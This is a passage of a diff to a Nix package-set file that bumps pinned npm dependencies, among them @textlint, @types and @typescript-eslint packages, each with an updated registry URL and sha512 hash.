"14.0.3"; src = fetchurl { - url = "https://registry.npmjs.org/@textlint/ast-tester/-/ast-tester-13.4.1.tgz"; - sha512 = "YSHUR1qDgMPGF5+nvrquEhif6zRJ667xUnfP/9rTNtThIhoTQINvczr5/7xa43F1PDWplL6Curw+2jrE1qHwGQ=="; + url = "https://registry.npmjs.org/@textlint/ast-tester/-/ast-tester-14.0.3.tgz"; + sha512 = "TNArbA0a/9nxJadZDsnfV6I4kB6C+Vb6BmFbDxBglS/NWtFqI9SYPV2tRhGBnTHFyTl5bgyzrAyb2FNSxbrSuQ=="; }; }; - "@textlint/ast-traverse-13.4.1" = { + "@textlint/ast-traverse-14.0.3" = { name = "_at_textlint_slash_ast-traverse"; packageName = "@textlint/ast-traverse"; - version = "13.4.1"; + version = "14.0.3"; src = fetchurl { - url = "https://registry.npmjs.org/@textlint/ast-traverse/-/ast-traverse-13.4.1.tgz"; - sha512 = "uucuC7+NHWkXx2TX5vuyreuHeb+GFiA83V65I+FnYP5EC4dAMOQ86rTSPrZmCwLz+qIWgfDgihGzPccpj3EZGg=="; + url = "https://registry.npmjs.org/@textlint/ast-traverse/-/ast-traverse-14.0.3.tgz"; + sha512 = "rZ0PwLWuLlAOkDp/9wGsHa1jZMjNdJ3CpZMPTNnqEppaxb3o4OKFbjt2Hh87E215B84Cz8KaeKFT/QEn+YiRjA=="; }; }; - "@textlint/config-loader-13.4.1" = { + "@textlint/config-loader-14.0.3" = { name = "_at_textlint_slash_config-loader"; packageName = "@textlint/config-loader"; - version = "13.4.1"; + version = "14.0.3"; src = fetchurl { - url = "https://registry.npmjs.org/@textlint/config-loader/-/config-loader-13.4.1.tgz"; - sha512 = "ggh6her5PdgcEsvgm3FfCY2+r7IhoQoBTGYxM+IbfkwyVoSoQ2CrXbCVlQkpLPFzhHVbIwgNxkiMr1o2npwfJQ=="; + url = "https://registry.npmjs.org/@textlint/config-loader/-/config-loader-14.0.3.tgz"; + sha512 = "uUDVKEkIcq7VDljM6RWIpz76TvHQfOjXh+CFgZ/oVScSsPuvqR3TeBRLm8tgyho4MKmdTtHrhmuZj5DQrTOxig=="; }; }; - "@textlint/feature-flag-13.4.1" = { + "@textlint/feature-flag-14.0.3" = { name = "_at_textlint_slash_feature-flag"; packageName = "@textlint/feature-flag"; - version = "13.4.1"; + version = "14.0.3"; src = fetchurl { - url = "https://registry.npmjs.org/@textlint/feature-flag/-/feature-flag-13.4.1.tgz"; - sha512 = "qY8gKUf30XtzWMTkwYeKytCo6KPx6milpz8YZhuRsEPjT/5iNdakJp5USWDQWDrwbQf7RbRncQdU+LX5JbM9YA=="; + url = "https://registry.npmjs.org/@textlint/feature-flag/-/feature-flag-14.0.3.tgz"; + sha512 = "qDQr8qA3glb6WF0cgmhG2OST5zTY5ft6OJ/J6smDoKse/1cnPlFwbvDLvrlxwnmWDyujvqb3p9Kw7GDToTIxYg=="; }; }; - "@textlint/fixer-formatter-13.4.1" = { + "@textlint/fixer-formatter-14.0.3" = { name = "_at_textlint_slash_fixer-formatter"; packageName = "@textlint/fixer-formatter"; - version = "13.4.1"; + version = "14.0.3"; src = fetchurl { - url = "https://registry.npmjs.org/@textlint/fixer-formatter/-/fixer-formatter-13.4.1.tgz"; - sha512 = "P195Soyxmzv7S5QyCJIjuDXl5t3EyOhYwxR4ukKBZ7bw5hp/P1+e4GEhzqrXWx3z7h0nZZ0TuTjepNxOMo6cAQ=="; + url = "https://registry.npmjs.org/@textlint/fixer-formatter/-/fixer-formatter-14.0.3.tgz"; + sha512 = "Uk8CYLRye7KglYa1y8kW1BikA7kJ6bn9xK6FX93iwcL5yz9vOUUHYz9IINcOdg1NYfST4KaDbnBNKGfeQqr52Q=="; }; }; - "@textlint/kernel-13.4.1" = { + "@textlint/kernel-14.0.3" = { name = "_at_textlint_slash_kernel"; packageName = "@textlint/kernel"; - version = "13.4.1"; + version = "14.0.3"; src = fetchurl { - url = "https://registry.npmjs.org/@textlint/kernel/-/kernel-13.4.1.tgz"; - sha512 = "r2sUhjPysFjl2Ax37x9AfWkJM8jgKN0bL4SX3xRzOukdcj69Dst5On5qBZtULaVMX1LDkwkdxA6ZEADmq27qQA=="; + url = "https://registry.npmjs.org/@textlint/kernel/-/kernel-14.0.3.tgz"; + sha512 = "RRyY7oL6CD5JwD3cgl8KvSd80rbnJKSUXTsn2ZAtLAjqJR+io0tVZLkQwij7diXaMjCnoJQfmnbIJf8C29/G5Q=="; }; }; - "@textlint/linter-formatter-13.4.1" = { + "@textlint/linter-formatter-14.0.3" = { name = "_at_textlint_slash_linter-formatter"; packageName = "@textlint/linter-formatter"; - version = "13.4.1"; + version = "14.0.3"; src = fetchurl { - url = "https://registry.npmjs.org/@textlint/linter-formatter/-/linter-formatter-13.4.1.tgz"; - sha512 = "VDLnyHRO9hf6CGxMJLM5oi7NH9s0mqiWxtgi95nuXmJZWbQLZVfcxkD1Cp16pwk8zTvlbyMZFqamFCYZyD9Sww=="; + url = "https://registry.npmjs.org/@textlint/linter-formatter/-/linter-formatter-14.0.3.tgz"; + sha512 = "CSwrE7LH/0KeQPP6/Nar5sakI+c1ToaYc14MwjWKCljK9RqkZCBFZqEWdy7LhXeIL5Pwf2BhsdGOImx14NpyHw=="; }; }; - "@textlint/markdown-to-ast-13.4.1" = { + "@textlint/markdown-to-ast-14.0.3" = { name = "_at_textlint_slash_markdown-to-ast"; packageName = "@textlint/markdown-to-ast"; - version = "13.4.1"; + version = "14.0.3"; src = fetchurl { - url = "https://registry.npmjs.org/@textlint/markdown-to-ast/-/markdown-to-ast-13.4.1.tgz"; - sha512 = "jUa5bTNmxjEgfCXW4xfn7eSJqzUXyNKiIDWLKtI4MUKRNhT3adEaa/NuQl0Mii3Hu3HraZR7hYhRHLh+eeM43w=="; + url = "https://registry.npmjs.org/@textlint/markdown-to-ast/-/markdown-to-ast-14.0.3.tgz"; + sha512 = "+CkWt9a9pd1+Rl37dqiiEGQ2f2faLX/vd7qiV+OTfkKUyHQ0HkOLK7sfbPpTx5ee5+5fKVMTStTTHrFZz5mlBw=="; }; }; - "@textlint/module-interop-13.4.1" = { + "@textlint/module-interop-14.0.3" = { name = "_at_textlint_slash_module-interop"; packageName = "@textlint/module-interop"; - version = "13.4.1"; + version = "14.0.3"; src = fetchurl { - url = "https://registry.npmjs.org/@textlint/module-interop/-/module-interop-13.4.1.tgz"; - sha512 = "keM5zHwyifijEDqEvAFhhXHC5UbmZjfGytRJzPPJaW3C3UsGbIzDCnfOSE9jUVTWZcngHuSJ7aKGv42Rhy9nEg=="; + url = "https://registry.npmjs.org/@textlint/module-interop/-/module-interop-14.0.3.tgz"; + sha512 = "76K6y4wNCZH3+BGziJm6iGPbKsBtb214332EgdXDMNsYah51LPT9YrXuOI1ROyxvfVoztJMH0MDZdtdY/t7cig=="; }; }; - "@textlint/source-code-fixer-13.4.1" = { + "@textlint/source-code-fixer-14.0.3" = { name = "_at_textlint_slash_source-code-fixer"; packageName = "@textlint/source-code-fixer"; - version = "13.4.1"; + version = "14.0.3"; src = fetchurl { - url = "https://registry.npmjs.org/@textlint/source-code-fixer/-/source-code-fixer-13.4.1.tgz"; - sha512 = "Sl29f3Tpimp0uVE3ysyJBjxaFTVYLOXiJX14eWCQ/kC5ZhIXGosEbStzkP1n8Urso1rs1W4p/2UemVAm3NH2ng=="; + url = "https://registry.npmjs.org/@textlint/source-code-fixer/-/source-code-fixer-14.0.3.tgz"; + sha512 = "/htnQzs+8qMIiZWQEpFF4+PgxDhi6flP+qIdoL8l5Q/jbIIZbGgOz9pdEFwnwOur/ddqFfuOKy5GtwZDoF+gOg=="; }; }; - "@textlint/text-to-ast-13.4.1" = { + "@textlint/text-to-ast-14.0.3" = { name = "_at_textlint_slash_text-to-ast"; packageName = "@textlint/text-to-ast"; - version = "13.4.1"; + version = "14.0.3"; src = fetchurl { - url = "https://registry.npmjs.org/@textlint/text-to-ast/-/text-to-ast-13.4.1.tgz"; - sha512 = "vCA7uMmbjRv06sEHPbwxTV5iS8OQedC5s7qwmXnWAn2LLWxg4Yp98mONPS1o4D5cPomzYyKNCSfbLwu6yJBUQA=="; + url = "https://registry.npmjs.org/@textlint/text-to-ast/-/text-to-ast-14.0.3.tgz"; + sha512 = "NrlZQ5RO3O6aSqDMzLzGWhKP5Rx2UlbGulVgO2sQ+59837+32cHjzrV+J1nBVVcsfsv+GOFperfo5C/Rn+F7SA=="; }; }; - "@textlint/textlint-plugin-markdown-13.4.1" = { + "@textlint/textlint-plugin-markdown-14.0.3" = { name = "_at_textlint_slash_textlint-plugin-markdown"; packageName = "@textlint/textlint-plugin-markdown"; - version = "13.4.1"; + version = "14.0.3"; src = fetchurl { - url = "https://registry.npmjs.org/@textlint/textlint-plugin-markdown/-/textlint-plugin-markdown-13.4.1.tgz"; - sha512 = "OcLkFKYmbYeGJ0kj2487qcicCYTiE2vJLwfPcUDJrNoMYak5JtvHJfWffck8gON2mEM00DPkHH0UdxZpFjDfeg=="; + url = "https://registry.npmjs.org/@textlint/textlint-plugin-markdown/-/textlint-plugin-markdown-14.0.3.tgz"; + sha512 = "1zwiwmayFRIElGdeCUXCJjlP+mpZDCCtcsNqB+07i/xi3UlSFM3NGRUzJ5CYQbjJ7Nrb3kmA5FKxB7xTMdZH4w=="; }; }; - "@textlint/textlint-plugin-text-13.4.1" = { + "@textlint/textlint-plugin-text-14.0.3" = { name = "_at_textlint_slash_textlint-plugin-text"; packageName = "@textlint/textlint-plugin-text"; - version = "13.4.1"; + version = "14.0.3"; src = fetchurl { - url = "https://registry.npmjs.org/@textlint/textlint-plugin-text/-/textlint-plugin-text-13.4.1.tgz"; - sha512 = "z0p5B8WUfTCIRmhjVHFfJv719oIElDDKWOIZei4CyYkfMGo0kq8fkrYBkUR6VZ6gofHwc+mwmIABdUf1rDHzYA=="; + url = "https://registry.npmjs.org/@textlint/textlint-plugin-text/-/textlint-plugin-text-14.0.3.tgz"; + sha512 = "dDRkNAoOH/HHxpC5Ghn89L90Ax5GQ4CIwCiV91qmjYUaCH710wkqRppBCEIHnS+1E/5wq1ukhTbGJjvxe7rP4w=="; }; }; - "@textlint/types-13.4.1" = { + "@textlint/types-14.0.3" = { name = "_at_textlint_slash_types"; packageName = "@textlint/types"; - version = "13.4.1"; + version = "14.0.3"; src = fetchurl { - url = "https://registry.npmjs.org/@textlint/types/-/types-13.4.1.tgz"; - sha512 = "1ApwQa31sFmiJeJ5yTNFqjbb2D1ICZvIDW0tFSM0OtmQCSDFNcKD3YrrwDBgSokZ6gWQq/FpNjlhi6iETUWt0Q=="; + url = "https://registry.npmjs.org/@textlint/types/-/types-14.0.3.tgz"; + sha512 = "Ft08kK3BNxbuRYb0BOEjSr9CkJyHIYBiUfWvaNcqhXESQLhplb5EfynkXw0uAerzhx9CxkdC2FcOFU+HIcuYRg=="; }; }; - "@textlint/utils-13.4.1" = { + "@textlint/utils-14.0.3" = { name = "_at_textlint_slash_utils"; packageName = "@textlint/utils"; - version = "13.4.1"; + version = "14.0.3"; src = fetchurl { - url = "https://registry.npmjs.org/@textlint/utils/-/utils-13.4.1.tgz"; - sha512 = "wX8RT1ejHAPTDmqlzngf0zI5kYoe3QvGDcj+skoTxSv+m/wOs/NyEr92d+ahCP32YqFYzXlqU7aDx2FkULKT+g=="; + url = "https://registry.npmjs.org/@textlint/utils/-/utils-14.0.3.tgz"; + sha512 = "Rt7KFrqPpLmpTz3ftTbA8A4kUABwW8CuvgbAAOL/XYpejnQeGPmVfVF3b3AvDtD5jYjp4rPkXHGHDPJTj+lYwA=="; }; }; "@tinyhttp/accepts-2.2.1" = { @@ -11038,13 +11056,13 @@ let sha512 = "vxhUy4J8lyeyinH7Azl1pdd43GJhZH/tP2weN8TntQblOY+A0XbT8DJk1/oCPuOOyg/Ja757rG0CgHcWC8OfMA=="; }; }; - "@tsconfig/strictest-2.0.2" = { + "@tsconfig/strictest-2.0.3" = { name = "_at_tsconfig_slash_strictest"; packageName = "@tsconfig/strictest"; - version = "2.0.2"; + version = "2.0.3"; src = fetchurl { - url = "https://registry.npmjs.org/@tsconfig/strictest/-/strictest-2.0.2.tgz"; - sha512 = "jt4jIsWKvUvuY6adJnQJlb/UR7DdjC8CjHI/OaSQruj2yX9/K6+KOvDt/vD6udqos/FUk5Op66CvYT7TBLYO5Q=="; + url = "https://registry.npmjs.org/@tsconfig/strictest/-/strictest-2.0.3.tgz"; + sha512 = "MroLvRhMbqtXI5WBSwoomro6OQS4xnCoudUrMb20JO0vLKUs0bAaCEcvM/immEBSJjFAK1l6jW1oAO8q3Ancrg=="; }; }; "@tufjs/canonical-json-1.0.0" = { @@ -11416,13 +11434,13 @@ let sha512 = "DxMhY+NAsTwMMFHBTtJFNp5qiHKJ7TeqOo23zVEM9alT1Ml27Q3xcTH0xwxn7Q0BbMcVEJOs/7aQtUWupUQN3Q=="; }; }; - "@types/express-serve-static-core-4.17.42" = { + "@types/express-serve-static-core-4.17.43" = { name = "_at_types_slash_express-serve-static-core"; packageName = "@types/express-serve-static-core"; - version = "4.17.42"; + version = "4.17.43"; src = fetchurl { - url = "https://registry.npmjs.org/@types/express-serve-static-core/-/express-serve-static-core-4.17.42.tgz"; - sha512 = "ckM3jm2bf/MfB3+spLPWYPUH573plBFwpOhqQ2WottxYV85j1HQFlxmnTq57X1yHY9awZPig06hL/cLMgNWHIQ=="; + url = "https://registry.npmjs.org/@types/express-serve-static-core/-/express-serve-static-core-4.17.43.tgz"; + sha512 = "oaYtiBirUOPQGSWNGPWnzyAFJ0BP3cwvN4oWZQY+zUBwpVIGsKUkpBpSztp74drYcjavs7SKFZ4DX1V2QeN8rg=="; }; }; "@types/geojson-7946.0.4" = { @@ -11803,13 +11821,13 @@ let sha512 = "JkRpuVz3xCNCWaeQ5EHLR/6woMbHZz/jZ7Kmc63AkU+1HxnoUugzSWMck7dsR4DvNYX8jp9wTi9K7WvnxOIQZQ=="; }; }; - "@types/node-16.18.78" = { + "@types/node-16.18.82" = { name = "_at_types_slash_node"; packageName = "@types/node"; - version = "16.18.78"; + version = "16.18.82"; src = fetchurl { - url = "https://registry.npmjs.org/@types/node/-/node-16.18.78.tgz"; - sha512 = "2poPMDdsGfvhcLmgJZ85QrIfN6z3PijYRMiV0FWIEUiQW/t/lzH7BEm4vN+HMhjZXbtIKssMcAxTcgu4Rm83YA=="; + url = "https://registry.npmjs.org/@types/node/-/node-16.18.82.tgz"; + sha512 = "pcDZtkx9z8XYV+ius2P3Ot2VVrcYOfXffBQUBuiszrlUzKSmoDYqo+mV+IoL8iIiIjjtOMvNSmH1hwJ+Q+f96Q=="; }; }; "@types/node-16.9.1" = { @@ -11821,13 +11839,13 @@ let sha512 = "QpLcX9ZSsq3YYUUnD3nFDY8H7wctAhQj/TFKL8Ya8v5fMm3CFXxo8zStsLAl780ltoYoo1WvKUVGBQK+1ifr7g=="; }; }; - "@types/node-18.19.13" = { + "@types/node-18.19.17" = { name = "_at_types_slash_node"; packageName = "@types/node"; - version = "18.19.13"; + version = "18.19.17"; src = fetchurl { - url = "https://registry.npmjs.org/@types/node/-/node-18.19.13.tgz"; - sha512 = "kgnbRDj8ioDyGxoiaXsiu1Ybm/K14ajCgMOkwiqpHrnF7d7QiYRoRqHIpglMMs3DwXinlK4qJ8TZGlj4hfleJg=="; + url = "https://registry.npmjs.org/@types/node/-/node-18.19.17.tgz"; + sha512 = "SzyGKgwPzuWp2SHhlpXKzCX0pIOfcI4V2eF37nNBJOhwlegQ83omtVQ1XxZpDE06V/d6AQvfQdPfnw0tRC//Ng=="; }; }; "@types/node-18.19.7" = { @@ -11839,13 +11857,13 @@ let sha512 = "IGRJfoNX10N/PfrReRZ1br/7SQ+2vF/tK3KXNwzXz82D32z5dMQEoOlFew18nLSN+vMNcLY4GrKfzwi/yWI8/w=="; }; }; - "@types/node-20.11.15" = { + "@types/node-20.11.19" = { name = "_at_types_slash_node"; packageName = "@types/node"; - version = "20.11.15"; + version = "20.11.19"; src = fetchurl { - url = "https://registry.npmjs.org/@types/node/-/node-20.11.15.tgz"; - sha512 = "gscmuADZfvNULx1eyirVbr3kVOVZtpQtzKMCZpeSZcN6MfbkRXAR4s9/gsQ4CzxLHw6EStDtKLNtSDL3vbq05A=="; + url = "https://registry.npmjs.org/@types/node/-/node-20.11.19.tgz"; + sha512 = "7xMnVEcZFu0DikYjWOlRq7NTPETrm7teqUT2WkQjrTIkEgUyyGdWsj/Zg8bEJt5TNklzbPD1X3fqfsHw3SpapQ=="; }; }; "@types/node-20.5.9" = { @@ -11947,22 +11965,22 @@ let sha512 = "hKormJbkJqzQGhziax5PItDUTMAM9uE2XXQmM37dyd4hVM+5aVl7oVxMVUiVQn2oCQFN/LKCZdvSM0pFRqbSmQ=="; }; }; - "@types/react-18.2.51" = { + "@types/react-18.2.56" = { name = "_at_types_slash_react"; packageName = "@types/react"; - version = "18.2.51"; + version = "18.2.56"; src = fetchurl { - url = "https://registry.npmjs.org/@types/react/-/react-18.2.51.tgz"; - sha512 = "XeoMaU4CzyjdRr3c4IQQtiH7Rpo18V07rYZUucEZQwOUEtGgTXv7e6igQiQ+xnV6MbMe1qjEmKdgMNnfppnXfg=="; + url = "https://registry.npmjs.org/@types/react/-/react-18.2.56.tgz"; + sha512 = "NpwHDMkS/EFZF2dONFQHgkPRwhvgq/OAvIaGQzxGSBmaeR++kTg6njr15Vatz0/2VcCEwJQFi6Jf4Q0qBu0rLA=="; }; }; - "@types/react-dom-18.2.18" = { + "@types/react-dom-18.2.19" = { name = "_at_types_slash_react-dom"; packageName = "@types/react-dom"; - version = "18.2.18"; + version = "18.2.19"; src = fetchurl { - url = "https://registry.npmjs.org/@types/react-dom/-/react-dom-18.2.18.tgz"; - sha512 = "TJxDm6OfAX2KJWJdMEVTwWke5Sc/E/RlnPGvGfS0W7+6ocy2xhDVQVh/KvC2Uf7kACs+gDytdusDSdWfWkaNzw=="; + url = "https://registry.npmjs.org/@types/react-dom/-/react-dom-18.2.19.tgz"; + sha512 = "aZvQL6uUbIJpjZk4U8JZGbau9KDeAwMfmhyWorxgBkqDIEf6ROjRozcmPIicqsUwPUjbkDfHKgGee1Lq65APcA=="; }; }; "@types/readdir-glob-1.1.5" = { @@ -11992,6 +12010,15 @@ let sha512 = "wWKOClTTiizcZhXnPY4wikVAwmdYHp8q6DmC+EJUzAMsycb7HB32Kh9RN4+0gExjmPmZSAQjgURXIGATPegAvA=="; }; }; + "@types/retry-0.12.2" = { + name = "_at_types_slash_retry"; + packageName = "@types/retry"; + version = "0.12.2"; + src = fetchurl { + url = "https://registry.npmjs.org/@types/retry/-/retry-0.12.2.tgz"; + sha512 = "XISRgDJ2Tc5q4TRqvgJtzsRkFYNJzZrhTdtMoGVBttwzzQJkPnS3WWTFc7kuDRoPtPakl+T+OfdEUjYJj7Jbow=="; + }; + }; "@types/retry-0.12.5" = { name = "_at_types_slash_retry"; packageName = "@types/retry"; @@ -12019,13 +12046,13 @@ let sha512 = "giB9gzDeiCeloIXDgzFBCgjj1k4WxcDrZtGl6h1IqmUPlxF+Nx8Ve+96QCyDZ/HseB/uvDsKbpib9hU5cU53pw=="; }; }; - "@types/semver-7.5.6" = { + "@types/semver-7.5.7" = { name = "_at_types_slash_semver"; packageName = "@types/semver"; - version = "7.5.6"; + version = "7.5.7"; src = fetchurl { - url = "https://registry.npmjs.org/@types/semver/-/semver-7.5.6.tgz"; - sha512 = "dn1l8LaMea/IjDoHNd9J52uBbInB796CDffS6VdIxvqYCPSG0V0DzHp76GpaWnlhg88uYyPbXCDIowa86ybd5A=="; + url = "https://registry.npmjs.org/@types/semver/-/semver-7.5.7.tgz"; + sha512 = "/wdoPq1QqkSj9/QOeKkFquEuPzQbHTWAMPH/PaUMB+JuR31lXhlWXRZ52IpfDYVlDOUBvX09uBrPwxGT1hjNBg=="; }; }; "@types/send-0.17.4" = { @@ -12163,13 +12190,13 @@ let sha512 = "XOfUup9r3Y06nFAZh3WvO0rBU4OtlfPB/vgxpjg+NRdGU6CN6djdc6OEiH+PcqHCY6eFLo9Ista73uarf4gnBg=="; }; }; - "@types/vscode-1.75.1" = { + "@types/vscode-1.78.1" = { name = "_at_types_slash_vscode"; packageName = "@types/vscode"; - version = "1.75.1"; + version = "1.78.1"; src = fetchurl { - url = "https://registry.npmjs.org/@types/vscode/-/vscode-1.75.1.tgz"; - sha512 = "emg7wdsTFzdi+elvoyoA+Q8keEautdQHyY5LNmHVM4PTpY8JgOTVADrGVyXGepJ6dVW2OS5/xnLUWh+nZxvdiA=="; + url = "https://registry.npmjs.org/@types/vscode/-/vscode-1.78.1.tgz"; + sha512 = "wEA+54axejHu7DhcUfnFBan1IqFD1gBDxAFz8LoX06NbNDMRJv/T6OGthOs52yZccasKfN588EyffHWABkR0fg=="; }; }; "@types/websocket-1.0.2" = { @@ -12253,13 +12280,13 @@ let sha512 = "xuv6ghKGoiq856Bww/yVYnXGsKa588kY3M0XK7uUW/3fJNNULKRfZfSBkMTSpqGG/8ZCXCadfh8G/z/B4aqS/A=="; }; }; - "@typescript-eslint/eslint-plugin-6.20.0" = { + "@typescript-eslint/eslint-plugin-6.21.0" = { name = "_at_typescript-eslint_slash_eslint-plugin"; packageName = "@typescript-eslint/eslint-plugin"; - version = "6.20.0"; + version = "6.21.0"; src = fetchurl { - url = "https://registry.npmjs.org/@typescript-eslint/eslint-plugin/-/eslint-plugin-6.20.0.tgz"; - sha512 = "fTwGQUnjhoYHeSF6m5pWNkzmDDdsKELYrOBxhjMrofPqCkoC2k3B2wvGHFxa1CTIqkEn88nlW1HVMztjo2K8Hg=="; + url = "https://registry.npmjs.org/@typescript-eslint/eslint-plugin/-/eslint-plugin-6.21.0.tgz"; + sha512 = "oy9+hTPCUFpngkEZUSzbf9MxI65wbKFoQYsgPdILTfbUldp5ovUuphZVe4i30emU9M/kP+T64Di0mxl7dSw3MA=="; }; }; "@typescript-eslint/parser-6.0.0" = { @@ -12271,13 +12298,13 @@ let sha512 = "TNaufYSPrr1U8n+3xN+Yp9g31vQDJqhXzzPSHfQDLcaO4tU+mCfODPxCwf4H530zo7aUBE3QIdxCXamEnG04Tg=="; }; }; - "@typescript-eslint/parser-6.20.0" = { + "@typescript-eslint/parser-6.21.0" = { name = "_at_typescript-eslint_slash_parser"; packageName = "@typescript-eslint/parser"; - version = "6.20.0"; + version = "6.21.0"; src = fetchurl { - url = "https://registry.npmjs.org/@typescript-eslint/parser/-/parser-6.20.0.tgz"; - sha512 = "bYerPDF/H5v6V76MdMYhjwmwgMA+jlPVqjSDq2cRqMi8bP5sR3Z+RLOiOMad3nsnmDVmn2gAFCyNgh/dIrfP/w=="; + url = "https://registry.npmjs.org/@typescript-eslint/parser/-/parser-6.21.0.tgz"; + sha512 = "tbsV1jPne5CkFQCgPBcDOt30ItF7aJoZL997JSF7MhGQqOeT3svWRYxiqlfA5RUdlHN6Fi+EI9bxqbdyAUZjYQ=="; }; }; "@typescript-eslint/scope-manager-6.0.0" = { @@ -12289,13 +12316,13 @@ let sha512 = "o4q0KHlgCZTqjuaZ25nw5W57NeykZT9LiMEG4do/ovwvOcPnDO1BI5BQdCsUkjxFyrCL0cSzLjvIMfR9uo7cWg=="; }; }; - "@typescript-eslint/scope-manager-6.20.0" = { + "@typescript-eslint/scope-manager-6.21.0" = { name = "_at_typescript-eslint_slash_scope-manager"; packageName = "@typescript-eslint/scope-manager"; - version = "6.20.0"; + version = "6.21.0"; src = fetchurl { - url = "https://registry.npmjs.org/@typescript-eslint/scope-manager/-/scope-manager-6.20.0.tgz"; - sha512 = "p4rvHQRDTI1tGGMDFQm+GtxP1ZHyAh64WANVoyEcNMpaTFn3ox/3CcgtIlELnRfKzSs/DwYlDccJEtr3O6qBvA=="; + url = "https://registry.npmjs.org/@typescript-eslint/scope-manager/-/scope-manager-6.21.0.tgz"; + sha512 = "OwLUIWZJry80O99zvqXVEioyniJMa+d2GrqpUTqi5/v5D5rOrppJVBPa0yKCblcigC0/aYAzxxqQ1B+DS2RYsg=="; }; }; "@typescript-eslint/type-utils-6.0.0" = { @@ -12307,13 +12334,13 @@ let sha512 = "ah6LJvLgkoZ/pyJ9GAdFkzeuMZ8goV6BH7eC9FPmojrnX9yNCIsfjB+zYcnex28YO3RFvBkV6rMV6WpIqkPvoQ=="; }; }; - "@typescript-eslint/type-utils-6.20.0" = { + "@typescript-eslint/type-utils-6.21.0" = { name = "_at_typescript-eslint_slash_type-utils"; packageName = "@typescript-eslint/type-utils"; - version = "6.20.0"; + version = "6.21.0"; src = fetchurl { - url = "https://registry.npmjs.org/@typescript-eslint/type-utils/-/type-utils-6.20.0.tgz"; - sha512 = "qnSobiJQb1F5JjN0YDRPHruQTrX7ICsmltXhkV536mp4idGAYrIyr47zF/JmkJtEcAVnIz4gUYJ7gOZa6SmN4g=="; + url = "https://registry.npmjs.org/@typescript-eslint/type-utils/-/type-utils-6.21.0.tgz"; + sha512 = "rZQI7wHfao8qMX3Rd3xqeYSMCL3SoiSQLBATSiVKARdFGCYSRvmViieZjqc58jKgs8Y8i9YvVVhRbHSTA4VBag=="; }; }; "@typescript-eslint/types-6.0.0" = { @@ -12325,13 +12352,13 @@ let sha512 = "Zk9KDggyZM6tj0AJWYYKgF0yQyrcnievdhG0g5FqyU3Y2DRxJn4yWY21sJC0QKBckbsdKKjYDV2yVrrEvuTgxg=="; }; }; - "@typescript-eslint/types-6.20.0" = { + "@typescript-eslint/types-6.21.0" = { name = "_at_typescript-eslint_slash_types"; packageName = "@typescript-eslint/types"; - version = "6.20.0"; + version = "6.21.0"; src = fetchurl { - url = "https://registry.npmjs.org/@typescript-eslint/types/-/types-6.20.0.tgz"; - sha512 = "MM9mfZMAhiN4cOEcUOEx+0HmuaW3WBfukBZPCfwSqFnQy0grXYtngKCqpQN339X3RrwtzspWJrpbrupKYUSBXQ=="; + url = "https://registry.npmjs.org/@typescript-eslint/types/-/types-6.21.0.tgz"; + sha512 = "1kFmZ1rOm5epu9NZEZm1kckCDGj5UJEf7P1kliH4LKu/RkwpsfqqGmY2OOcUs18lSlQBKLDYBOGxRVtrMN5lpg=="; }; }; "@typescript-eslint/typescript-estree-6.0.0" = { @@ -12343,13 +12370,13 @@ let sha512 = "2zq4O7P6YCQADfmJ5OTDQTP3ktajnXIRrYAtHM9ofto/CJZV3QfJ89GEaM2BNGeSr1KgmBuLhEkz5FBkS2RQhQ=="; }; }; - "@typescript-eslint/typescript-estree-6.20.0" = { + "@typescript-eslint/typescript-estree-6.21.0" = { name = "_at_typescript-eslint_slash_typescript-estree"; packageName = "@typescript-eslint/typescript-estree"; - version = "6.20.0"; + version = "6.21.0"; src = fetchurl { - url = "https://registry.npmjs.org/@typescript-eslint/typescript-estree/-/typescript-estree-6.20.0.tgz"; - sha512 = "RnRya9q5m6YYSpBN7IzKu9FmLcYtErkDkc8/dKv81I9QiLLtVBHrjz+Ev/crAqgMNW2FCsoZF4g2QUylMnJz+g=="; + url = "https://registry.npmjs.org/@typescript-eslint/typescript-estree/-/typescript-estree-6.21.0.tgz"; + sha512 = "6npJTkZcO+y2/kr+z0hc4HwNfrrP4kNYh57ek7yCNlrBjWQ1Y0OS7jiZTkgumrvkX5HkEKXFZkkdFNkaW2wmUQ=="; }; }; "@typescript-eslint/utils-6.0.0" = { @@ -12361,13 +12388,13 @@ let sha512 = "SOr6l4NB6HE4H/ktz0JVVWNXqCJTOo/mHnvIte1ZhBQ0Cvd04x5uKZa3zT6tiodL06zf5xxdK8COiDvPnQ27JQ=="; }; }; - "@typescript-eslint/utils-6.20.0" = { + "@typescript-eslint/utils-6.21.0" = { name = "_at_typescript-eslint_slash_utils"; packageName = "@typescript-eslint/utils"; - version = "6.20.0"; + version = "6.21.0"; src = fetchurl { - url = "https://registry.npmjs.org/@typescript-eslint/utils/-/utils-6.20.0.tgz"; - sha512 = "/EKuw+kRu2vAqCoDwDCBtDRU6CTKbUmwwI7SH7AashZ+W+7o8eiyy6V2cdOqN49KsTcASWsC5QeghYuRDTyOOg=="; + url = "https://registry.npmjs.org/@typescript-eslint/utils/-/utils-6.21.0.tgz"; + sha512 = "NfWVaC8HP9T8cbKQxHcsJBY5YE1O33+jpMwN45qzWWaPDZgLIbo12toGMWnmhvCpd3sIxkpDw3Wv1B3dYrbDQQ=="; }; }; "@typescript-eslint/visitor-keys-6.0.0" = { @@ -12379,13 +12406,13 @@ let sha512 = "cvJ63l8c0yXdeT5POHpL0Q1cZoRcmRKFCtSjNGJxPkcP571EfZMcNbzWAc7oK3D1dRzm/V5EwtkANTZxqvuuUA=="; }; }; - "@typescript-eslint/visitor-keys-6.20.0" = { + "@typescript-eslint/visitor-keys-6.21.0" = { name = "_at_typescript-eslint_slash_visitor-keys"; packageName = "@typescript-eslint/visitor-keys"; - version = "6.20.0"; + version = "6.21.0"; src = fetchurl { - url = "https://registry.npmjs.org/@typescript-eslint/visitor-keys/-/visitor-keys-6.20.0.tgz"; - sha512 = "E8Cp98kRe4gKHjJD4NExXKz/zOJ1A2hhZc+IMVD6i7w4yjIvh6VyuRI0gRtxAsXtoC35uGMaQ9rjI2zJaXDEAw=="; + url = "https://registry.npmjs.org/@typescript-eslint/visitor-keys/-/visitor-keys-6.21.0.tgz"; + sha512 = "JJtkDduxLi9bivAB+cYOVMtbkqdPOhZ+ZI5LC47MIRrDV4Yn2o+ZnW10Nkmr28xRpSpdJ6Sm42Hjf2+REYXm0A=="; }; }; "@ungap/structured-clone-1.2.0" = { @@ -12433,13 +12460,13 @@ let sha512 = "1O/biKiVhhn0EtvDF4UOvz325K4RrLupfL8rHcmqD2TBLv4qVDWQuzx4JGa1FfqjjRb+C9TNZ6w19f32Mq85Ug=="; }; }; - "@vercel/build-utils-7.5.1" = { + 